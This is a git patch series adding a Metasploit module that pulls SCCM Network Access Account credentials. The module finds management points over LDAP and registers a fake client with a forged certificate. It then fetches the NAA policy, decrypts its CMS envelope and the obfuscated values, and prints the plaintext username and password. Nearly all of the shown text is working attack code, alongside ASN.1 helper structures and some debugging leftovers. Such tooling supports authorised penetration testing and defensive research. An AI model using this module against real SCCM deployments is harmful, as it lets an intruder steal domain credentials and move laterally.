From 5dd55f0af48345203ecf110e18d41e0fb7318495 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Mon, 9 Dec 2024 16:44:00 +1100 Subject: [PATCH 01/19] Add initial NAA-cred-snarfing code. --- .../ldap_query/ldap_queries_default.yaml | 9 + lib/msf/core/exploit/remote/sccm.rb | 0 lib/rex/proto/http/response.rb | 10 + modules/auxiliary/admin/sccm/get_naa_creds.rb | 300 ++++++++++++++++++ 4 files changed, 319 insertions(+) create mode 100755 lib/msf/core/exploit/remote/sccm.rb create mode 100755 modules/auxiliary/admin/sccm/get_naa_creds.rb diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index 94c059517802..d2951665405f 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -387,3 +387,12 @@ queries: references: - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts + - action: ENUM_SCCM_MANAGEMENT_POINTS + description: 'Find all registered SCCM/MECM management points' + filter: '(objectclass=mssmsmanagementpoint)' + attributes: + - cn + - dNSHostname + - msSMSSiteCode + references: + - https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/sccm.rb b/lib/msf/core/exploit/remote/sccm.rb new file mode 100755 index 000000000000..e69de29bb2d1 diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 45016fc9d480..f8780da55f42 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -116,6 +116,16 @@ def get_xml_document Nokogiri::XML(self.body) end + def gzip_decode! + self.body = gzip_decode + end + + def gzip_decode + gz = Zlib::GzipReader.new(StringIO.new(self.body.to_s)) + + gz.read + end + # Returns a parsed json document. # Instead of using regexes to parse the JSON body, you should use this. # diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb new file mode 100755 index 000000000000..9e55b5c8b26e --- /dev/null +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -0,0 +1,300 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'pry-byebug' +require 'time' +require 'nokogiri' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::LDAP + include Msf::OptionalSession::LDAP + include Msf::Exploit::Remote::Kerberos::Client::Pkinit + + KEY_SIZE = 2048 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Get NAA Creds', + 'Description' => %q{ + This module attempts to retrieve the Network Access Account, if configured, from the SCCM server. + This requires a computer account, which can be added using the samr_account module. + }, + 'Author' => [ + 'smashery' # module author + ], + 'References' => [ + ['URL', 'https://github.com/Mayyhem/SharpSCCM'], + ['URL', 'https://github.com/garrettfoster13/sccmhunter'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]), + OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]), + OptString.new('MANAGEMENT_POINT', [ false, 'The management point to use' ]), + ]) + end + + def fail_with_ldap_error(message) + ldap_result = @ldap.get_operation_result.table + return if ldap_result[:code] == 0 + + print_error(message) + if ldap_result[:code] == 16 + fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.') + else + validate_query_result!(ldap_result) + end + end + + def find_management_point + raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + return nil unless raw_objects.any? + + raw_obj = raw_objects.first + + raw_objects.each do |ro| + print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") + end + + if raw_objects.length > 1 + print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") + end + + obj = {} + obj[:rhost] = raw_obj[:dnshostname].first + obj[:sitecode] = raw_obj[:mssmssitecode].first + + obj + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + if (@base_dn = ldap.base_dn) + print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}") + else + print_warning("Couldn't discover base DN!") + end + end + @ldap = ldap + + mp = datastore['MANAGEMENT_POINT'] + if mp.blank? + begin + mp = find_management_point + fail_with(Failure::NotFound, 'Failed to find management point') unless mp + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) + end + end + + key, cert = generate_key_and_cert('ConfigMgr Client') + + http_opts = { + 'rhost' => mp[:rhost], + 'rport' => 80, + 'username' => datastore['COMPUTER_USER'], + 'password' => datastore['COMPUTER_PASS'], + 'headers' => {'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*', + 'Connection' => 'Keep-Alive' + } + } + + sms_id = register_request(http_opts, mp, key, cert) + duration = 5 + print_line("Waiting #{duration} seconds for SCCM DB to update...") + sleep(duration) + naa_policy_url = get_policies(http_opts, mp, key, cert, sms_id) + request_policy(http_opts, naa_policy_url, sms_id, key) + end + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + + def request_policy(http_opts, policy_url, sms_id, key) + policy_url.gsub!('http://','') + policy_url = policy_url.gsub('{','%7B').gsub('}','%7D') + + now = Time.now.utc.iso8601 + client_token = "GUID:#{sms_id};#{now};2" + client_signature = rsa_sign(key, (client_token+"\x00").encode('utf-16le').bytes.pack('C*')) + + opts = http_opts.merge({ + 'uri' => policy_url, + 'method' => 'GET', + }) + opts['headers'] = opts['headers'].merge({ + 'ClientToken' => client_token, + 'ClientTokenSignature' => client_signature + }) + + http_response = send_request_cgi(opts) + http_response.gzip_decode! + + binding.pry + Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(http_response.body) + end + + def get_policies(http_opts, mp, key, cert, sms_id) + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + hex_pub_key = make_ms_pubkey(cert.public_key) + guid = SecureRandom.uuid.upcase + sent_time = Time.now.utc.iso8601 + site_code = mp[:sitecode] + sccm_host = mp[:rhost].downcase + request_assignments = "GUID:#{sms_id}#{fqdn}#{computer_user}SMS:#{site_code}\x00" + request_assignments.encode!('utf-16le') + body_length = request_assignments.bytes.length + request_assignments = request_assignments.bytes.pack('C*') + "\r\n" + compressed = Rex::Text.zlib_deflate(request_assignments) + + payload_signature = rsa_sign(key, compressed) + + client_id = "GUID:{#{sms_id.upcase}}\x00" + client_ids_signature = rsa_sign(key, client_id.encode('utf-16le')) + header = "{00000000-0000-0000-0000-000000000000}#{computer_user}#{hex_pub_key}#{client_ids_signature}#{payload_signature}NonSSL1.2.840.113549.1.1.11{#{guid}}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}GUID:#{sms_id}#{computer_user}mp:MP_PolicyManagerMP_PolicyManager#{sccm_host}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part(("\ufeff#{header}").encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(compressed, 'application/octet-stream', 'binary') + opts = http_opts.merge({ + 'uri' => '/ccm_system/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"', + }) + http_response = send_request_cgi(opts) + response = Rex::MIME::Message.new(http_response.to_s) + + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) + naa_policy_url = xml_doc.xpath("//Policy[@PolicyCategory='NAAConfig']/PolicyLocation/text()").text + if naa_policy_url.blank? + fail_with(Failure::UnexpectedReply, 'Did not retrieve NAA Policy path') + end + + print_good("Got NAA Policy URL: #{naa_policy_url}") + + naa_policy_url + end + + def rsa_sign(key, data) + signature = key.sign(OpenSSL::Digest::SHA256.new, data) + signature.reverse! + + signature.unpack('H*')[0].upcase + end + + def make_ms_pubkey(pub_key) + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb + result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31" + result += [KEY_SIZE, pub_key.e].pack('II') + result += [pub_key.n.to_s(16)].pack('H*') + + result.unpack('H*')[0] + end + + def register_request(http_opts, mp, key, cert) + pub_key = cert.to_der.unpack('H*')[0].upcase + + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + sent_time = Time.now.utc.iso8601 + registration_request_data = "#{pub_key}#{pub_key}" + + signature = rsa_sign(key, registration_request_data.encode('utf-16le')) + + registration_request = "#{registration_request_data}#{signature}\x00" + + rr_utf16 = '' + rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*') + body_length = rr_utf16.length + rr_utf16 << "\r\n" + + header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{mp[:rhost].downcase}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part(("\ufeff#{header}").encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary') + + opts = http_opts.merge({ + 'uri' => '/ccm_system_windowsauth/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"', + }) + response = send_request_cgi(opts) + response = Rex::MIME::Message.new(response.to_s) + + header_response = response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings + sms_id = xml_doc.root&.attributes['SMSID']&.value&.delete_prefix('GUID:') + if sms_id.nil? + fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') + end + print_good("Got SMS ID: #{sms_id}") + + sms_id + end + + def generate_key_and_cert(subject) + key = OpenSSL::PKey::RSA.new(KEY_SIZE) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF) + cert.public_key = key.public_key + cert.issuer = OpenSSL::X509::Name.new([['CN', subject]]) + cert.subject = OpenSSL::X509::Name.new([['CN', subject]]) + yr = 24 * 3600 * 365 + cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr) + cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr)) + ef = OpenSSL::X509::ExtensionFactory.new + ef.subject_certificate = cert + ef.issuer_certificate = cert + cert.extensions = [ + ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'), + ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'), + ] + cert.sign(key, OpenSSL::Digest.new('SHA256')) + + [key, cert] + end +end From 2d7985b511226b7068abf2248cf27c63b1467134 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 18:20:00 +1100 Subject: [PATCH 02/19] Add crypto structures --- lib/rex/proto/crypto_asn1/cms.rb | 249 ++++++++++++++++++ modules/auxiliary/admin/sccm/get_naa_creds.rb | 7 +- 2 files changed, 253 insertions(+), 3 deletions(-) create mode 100755 lib/rex/proto/crypto_asn1/cms.rb diff --git a/lib/rex/proto/crypto_asn1/cms.rb b/lib/rex/proto/crypto_asn1/cms.rb new file mode 100755 index 000000000000..eb00f4c1f066 --- /dev/null +++ b/lib/rex/proto/crypto_asn1/cms.rb @@ -0,0 +1,249 @@ +module Rex::Proto::CryptoAsn1::Cms + class Attribute < RASN1::Model + sequence :attribute, + content: [objectid(:attribute_type), + set_of(:attribute_values, RASN1::Types::Any) + ] + end + + class Certificate + # Rather than specifying the entire structure of a certificate, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + + attr_accessor :options + + def initialize(options={}) + self.options = options + end + + def to_der + self.options[:openssl_certificate]&.to_der || '' + end + + # RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value) + # @return [Boolean] + # @since 0.12 + def can_build? + !to_der.empty? + end + + # RASN1 Glue method + def primitive? + false + end + + # RASN1 Glue method + def value + options[:openssl_certificate] + end + + def parse!(str, ber: false) + self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str) + to_der.length + end + end + + class AlgorithmIdentifier < RASN1::Model + sequence :algorithm_identifier, + content: [objectid(:algorithm), + any(:parameters, optional: true) + ] + end + + class KeyDerivationAlgorithmIdentifier < AlgorithmIdentifier + end + + class KeyEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class ContentEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class OriginatorInfo < RASN1::Model + sequence :originator_info, + content: [set_of(:certs, Certificate, implicit: 0, optional: true), + # CRLs - not implemented + ] + end + + class ContentType < RASN1::Types::ObjectId + end + + class EncryptedContentInfo < RASN1::Model + sequence :encrypted_content_info, + content: [model(:content_type, ContentType), + model(:content_encryption_algorithm, ContentEncryptionAlgorithmIdentifier), + octet_string(:encrypted_content, implicit: 0, constructed: true, optional: true) + ] + end + + class Name + # Rather than specifying the entire structure of a name, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + attr_accessor :value + + def initialize(options={}) + end + + def parse!(str, ber: false) + self.value = OpenSSL::X509::Name.new(str) + to_der.length + end + + def to_der + self.value.to_der + end + end + + class IssuerAndSerialNumber < RASN1::Model + sequence :signer_identifier, + content: [model(:issuer, Name), + integer(:serial_number) + ] + end + + class CmsVersion < RASN1::Types::Integer + end + + class SubjectKeyIdentifier < RASN1::Types::OctetString + end + + class UserKeyingMaterial < RASN1::Types::OctetString + end + + class RecipientIdentifier < RASN1::Model + choice :recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:subject_key_identifier, SubjectKeyIdentifier), implicit: 0)] + end + + class EncryptedKey < RASN1::Types::OctetString + end + + class OtherKeyAttribute < RASN1::Model + sequence :other_key_attribute, + content: [objectid(:key_attr_id), + any(:key_attr, optional: true) + ] + end + + class RecipientKeyIdentifier < RASN1::Model + sequence :recipient_key_identifier, + content: [model(:subject_key_identifier, SubjectKeyIdentifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true) + ] + + end + + class KeyAgreeRecipientIdentifier < RASN1::Model + choice :key_agree_recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:r_key_id, RecipientKeyIdentifier), implicit: 0)] + end + + class RecipientEncryptedKey < RASN1::Model + sequence :recipient_encrypted_key, + content: [model(:rid, KeyAgreeRecipientIdentifier), + model(:encrypted_key, EncryptedKey)] + end + + class KEKIdentifier < RASN1::Model + sequence :kek_identifier, + content: [octet_string(:key_identifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true)] + end + + class KeyTransRecipientInfo < RASN1::Model + sequence :key_trans_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:rid, RecipientIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OriginatorPublicKey < RASN1::Model + sequence :originator_public_key, + content: [model(:algorithm, AlgorithmIdentifier), + bit_string(:public_key)] + end + + class OriginatorIdentifierOrKey < RASN1::Model + choice :originator_identifier_or_key, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + model(:subject_key_identifier, SubjectKeyIdentifier), + model(:originator_public_key, OriginatorPublicKey) + ] + end + + class KeyAgreeRecipientInfo < RASN1::Model + sequence :key_agree_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator, OriginatorIdentifierOrKey), explicit: 0), + wrapper(model(:ukm, UserKeyingMaterial), explicit: 1, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + sequence_of(:recipient_encrypted_keys, RecipientEncryptedKey) + ] + end + + class KEKRecipientInfo < RASN1::Model + sequence :kek_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:kekid, KEKIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class PasswordRecipientInfo < RASN1::Model + sequence :password_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:key_derivation_algorithm, KeyDerivationAlgorithmIdentifier), explicit: 0, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OtherRecipientInfo < RASN1::Model + sequence :other_recipient_info, + content: [objectid(:ore_type), + any(:ory_value) + ] + end + + class RecipientInfo < RASN1::Model + choice :recipient_info, + content: [model(:key_trans_recipient_info, KeyTransRecipientInfo), + wrapper(model(:key_agree_recipient_info, KeyAgreeRecipientInfo), implicit: 1), + wrapper(model(:kek_recipient_info, KEKRecipientInfo), implicit: 2), + wrapper(model(:password_recipient_info, PasswordRecipientInfo), implicit: 3), + wrapper(model(:other_recipient_info, OtherRecipientInfo), implicit: 4)] + end + + class EnvelopedData < RASN1::Model + sequence :enveloped_data, + explicit: 0, constructed: true, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator_info, OriginatorInfo), implict: 0, optional: true), + set_of(:recipient_infos, RecipientInfo), + model(:encrypted_content_info, EncryptedContentInfo), + set_of(:unprotected_attrs, Attribute, implicit: 1, optional: true), + ] + end + + class ContentInfo < RASN1::Model + sequence :content_info, + content: [model(:content_type, ContentType), + # In our case, expected to be EnvelopedData + any(:data) + ] + + def enveloped_data + if self[:content_type].value == '1.2.840.113549.1.7.3' + EnvelopedData.parse(self[:data].value) + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 9e55b5c8b26e..54480d872603 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -5,14 +5,13 @@ require 'pry-byebug' require 'time' require 'nokogiri' +require 'rasn1' class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::LDAP include Msf::OptionalSession::LDAP - include Msf::Exploit::Remote::Kerberos::Client::Pkinit KEY_SIZE = 2048 @@ -160,7 +159,9 @@ def request_policy(http_opts, policy_url, sms_id, key) http_response.gzip_decode! binding.pry - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(http_response.body) + ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body) + e = ci.enveloped_data + binding.pry end def get_policies(http_opts, mp, key, cert, sms_id) From 76c29831faaf254d2883191e12ee119f31c6e0f8 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 22:11:48 +1100 Subject: [PATCH 03/19] Working NAA retrieval on recent SCCM --- lib/rex/proto/crypto_asn1/cms.rb | 17 +-- lib/rex/proto/crypto_asn1/o_i_ds.rb | 5 + modules/auxiliary/admin/sccm/get_naa_creds.rb | 108 ++++++++++++++++-- 3 files changed, 114 insertions(+), 16 deletions(-) diff --git a/lib/rex/proto/crypto_asn1/cms.rb b/lib/rex/proto/crypto_asn1/cms.rb index eb00f4c1f066..5c69b5b6441f 100755 --- a/lib/rex/proto/crypto_asn1/cms.rb +++ b/lib/rex/proto/crypto_asn1/cms.rb @@ -69,11 +69,14 @@ class OriginatorInfo < RASN1::Model class ContentType < RASN1::Types::ObjectId end + class EncryptedContent < RASN1::Types::OctetString + end + class EncryptedContentInfo < RASN1::Model sequence :encrypted_content_info, content: [model(:content_type, ContentType), model(:content_encryption_algorithm, ContentEncryptionAlgorithmIdentifier), - octet_string(:encrypted_content, implicit: 0, constructed: true, optional: true) + wrapper(model(:encrypted_content, EncryptedContent), implicit: 0, optional: true) ] end @@ -215,11 +218,11 @@ class OtherRecipientInfo < RASN1::Model class RecipientInfo < RASN1::Model choice :recipient_info, - content: [model(:key_trans_recipient_info, KeyTransRecipientInfo), - wrapper(model(:key_agree_recipient_info, KeyAgreeRecipientInfo), implicit: 1), - wrapper(model(:kek_recipient_info, KEKRecipientInfo), implicit: 2), - wrapper(model(:password_recipient_info, PasswordRecipientInfo), implicit: 3), - wrapper(model(:other_recipient_info, OtherRecipientInfo), implicit: 4)] + content: [model(:ktri, KeyTransRecipientInfo), + wrapper(model(:kari, KeyAgreeRecipientInfo), implicit: 1), + wrapper(model(:kekri, KEKRecipientInfo), implicit: 2), + wrapper(model(:pwri, PasswordRecipientInfo), implicit: 3), + wrapper(model(:ori, OtherRecipientInfo), implicit: 4)] end class EnvelopedData < RASN1::Model @@ -241,7 +244,7 @@ class ContentInfo < RASN1::Model ] def enveloped_data - if self[:content_type].value == '1.2.840.113549.1.7.3' + if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_ENVELOPED_DATA.value EnvelopedData.parse(self[:data].value) end end diff --git a/lib/rex/proto/crypto_asn1/o_i_ds.rb b/lib/rex/proto/crypto_asn1/o_i_ds.rb index 104ec7c4e164..9b1f2c751128 100644 --- a/lib/rex/proto/crypto_asn1/o_i_ds.rb +++ b/lib/rex/proto/crypto_asn1/o_i_ds.rb @@ -62,6 +62,11 @@ class OIDs OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer') OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification') + OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data') + + OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode') + OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding') + def self.name(value) value = ObjectId.new(value) if value.is_a?(String) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 54480d872603..fb0463461147 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -2,7 +2,6 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'pry-byebug' require 'time' require 'nokogiri' require 'rasn1' @@ -66,7 +65,7 @@ def find_management_point raw_obj = raw_objects.first raw_objects.each do |ro| - print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") + print_status("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") end if raw_objects.length > 1 @@ -123,10 +122,13 @@ def run sms_id = register_request(http_opts, mp, key, cert) duration = 5 - print_line("Waiting #{duration} seconds for SCCM DB to update...") + print_status("Waiting #{duration} seconds for SCCM DB to update...") sleep(duration) naa_policy_url = get_policies(http_opts, mp, key, cert, sms_id) - request_policy(http_opts, naa_policy_url, sms_id, key) + decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) + username, password = get_creds_from_policy_doc(decrypted_policy) + + print_good("Found valid NAA creds: #{username}:#{password}") end rescue Errno::ECONNRESET fail_with(Failure::Disconnected, 'The connection was reset.') @@ -158,10 +160,47 @@ def request_policy(http_opts, policy_url, sms_id, key) http_response = send_request_cgi(opts) http_response.gzip_decode! - binding.pry ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body) - e = ci.enveloped_data - binding.pry + cms_envelope = ci.enveloped_data + + ri = cms_envelope[:recipient_infos] + if ri.length < 1 + fail_with(Failure::UnexpectedReply, 'No recipient infos provided') + end + + if ri[0][:ktri].nil? + fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found') + end + + body = cms_envelope[:encrypted_content_info][:encrypted_content].value + + key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value + encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value + if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value + decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) + else + fail_with(Failure::UnexpectedReply, "Unexpected key encryption routine: #{key_encryption_alg}") + end + + cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] + if cea[:algorithm].value == Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value + if decrypted_key.length != 32 + fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}") + end + iv = RASN1::Types::OctetString.new + iv.parse!(cea[:parameters].value) + if iv.value.length != 16 + fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}") + end + cipher = OpenSSL::Cipher::AES.new(256, :CBC) + cipher.decrypt + cipher.key = decrypted_key + cipher.iv = iv.value + + decrypted = cipher.update(body) + cipher.final + end + + decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end def get_policies(http_opts, mp, key, cert, sms_id) @@ -207,7 +246,7 @@ def get_policies(http_opts, mp, key, cert, sms_id) fail_with(Failure::UnexpectedReply, 'Did not retrieve NAA Policy path') end - print_good("Got NAA Policy URL: #{naa_policy_url}") + print_status("Got NAA Policy URL: #{naa_policy_url}") naa_policy_url end @@ -271,11 +310,62 @@ def register_request(http_opts, mp, key, cert) if sms_id.nil? fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') end - print_good("Got SMS ID: #{sms_id}") + print_status("Got SMS ID: #{sms_id}") sms_id end + def get_creds_from_policy_doc(policy) + xml_doc = Nokogiri::XML(policy) + naa_section = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") + username = naa_section.xpath("//property[@name='NetworkAccessUsername']/value").text + password = naa_section.xpath("//property[@name='NetworkAccessPassword']/value").text + + username = deobfuscate_policy_value(username) + password = deobfuscate_policy_value(password) + + [username, password] + end + + def deobfuscate_policy_value(value) + value = [value.gsub(/[^0-9A-Fa-f]/,'')].pack('H*') + data_length = value[52..55].unpack('I')[0] + buffer = value[64..64+data_length-1] + key = mscrypt_derive_key_sha1(value[4..43]) + iv = "\x00"*8 + cipher = OpenSSL::Cipher.new('des-ede3-cbc') + cipher.decrypt + cipher.iv = iv + cipher.key = key + result = cipher.update(buffer) + cipher.final + + result.force_encoding('utf-16le').encode('utf-8') + end + + def mscrypt_derive_key_sha1(secret) + buf1 = [0x36] * 64 + buf2 = [0x5C] * 64 + + digest = OpenSSL::Digest::SHA1.new + hash = digest.digest(secret).bytes + + hash.each_with_index do |byte, i| + buf1[i] ^= byte + buf2[i] ^= byte + end + + buf1 = buf1.pack('C*') + buf2 = buf2.pack('C*') + + digest = OpenSSL::Digest::SHA1.new + hash1 = digest.digest(buf1) + + digest = OpenSSL::Digest::SHA1.new + hash2 = digest.digest(buf2) + + hash1 + hash2[0..3] + end + def generate_key_and_cert(subject) key = OpenSSL::PKey::RSA.new(KEY_SIZE) cert = OpenSSL::X509::Certificate.new From 03a4acf7d0145c20d558fd139d8bdf169a7691d3 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 22:20:00 +1100 Subject: [PATCH 04/19] Rubocop fixes --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 65 ++++++++++--------- 1 file changed, 34 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index fb0463461147..657e1b7bb1b1 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -113,11 +113,12 @@ def run 'rport' => 80, 'username' => datastore['COMPUTER_USER'], 'password' => datastore['COMPUTER_PASS'], - 'headers' => {'User-Agent' => 'ConfigMgr Messaging HTTP Sender', - 'Accept-Encoding' => 'gzip, deflate', - 'Accept' => '*/*', - 'Connection' => 'Keep-Alive' - } + 'headers' => { + 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*', + 'Connection' => 'Keep-Alive' + } } sms_id = register_request(http_opts, mp, key, cert) 